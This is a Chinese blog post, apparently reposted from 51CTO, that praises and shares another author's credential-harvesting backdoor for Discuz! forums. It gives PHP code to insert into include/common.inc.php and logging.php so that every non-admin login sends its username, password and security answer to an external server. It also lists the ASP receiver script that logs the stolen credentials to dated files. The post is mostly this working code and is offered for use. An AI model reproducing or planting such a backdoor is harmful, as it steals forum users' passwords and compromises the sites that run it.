在T00LS看到xxbing牛写了个DZ记录密码的东东..
这里是xxbing牛的 include/common.inc.php 里面插一个自定义函数。 放在 41-53行。 function request_by_other($remote_server,$post_string){ $context = array( 'http'=>array( 'method'=>'POST', 'header'=>'Content-type: application/x-www-form-urlencoded'."\r\n". 'User-Agent : xxbing\'s fuckyou!!!'."\r\n". 'Content-length: '.strlen($post_string)+8, 'content'=>'mypost='.$post_string) ); $stream_context = stream_context_create($context); $data = file_get_contents($remote_server,FALSE,$stream_context); return $data; } 找到根目录下的 logging.php文件。搜索下面代码。 $ucresult = uc_user_login($username, $password, $loginfield == 'uid'); 然后在后面插上下面的代码。 if($username!='admin'){ $showtime=gmdate("Ynj H:i:s",time()+8*3600); if($answer==''){ $answer='无!'; } //name1无用。但是必须� $post_string = 'name1='.$name2.'&name='.$username.'&password='.$password.'&questionid='.$questionid.'&answer='.$answer.'&showtime='.$showtime.'&from='.$_SERVER['SERVER_NAME']; request_by_other('http://www.xxbing.com/fasong.asp',$post_string); } 接受端用asp写的。 asp代码如下: <% '接收文件 'body0 = request.form("name1") body1 = request.form("name") body2 = request.form("password") body3 = request.form("questionid") body4 = request.form("answer") body5 = request.form("showtime") body7 = request.form("from") body6 = "账号:"&body1 &"---密码:"& body2 &"---问题ID:"& body3 &"---答案:"& body4 &"---时间:"& body5 &"---来源:" & body7 'response.write body6 FileName = date()&".txt" '这里之所以要替换,是为了兼容IIS7的环境。 FileName = Replace(FileName,"/","-") if body6 <>"" then Call CreateFile(body6,FileName) end if Sub CreateFile(body,FileName) Dim fso, tf ,cf Set fso = CreateObject("Scripting.FileSystemObject") Set tf = fso.openTextFile(server.mappath(FileName),8,True,0) tf.WriteLine body tf.WriteLine "----------------" tf.Close set fso = nothing End Sub %>
感觉不错..但是一个个文件翻很纠结..于是俺稍微把最后的asp修改了下.把数据写入数据库
%>
本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/536762,如需转载请自行联系原作者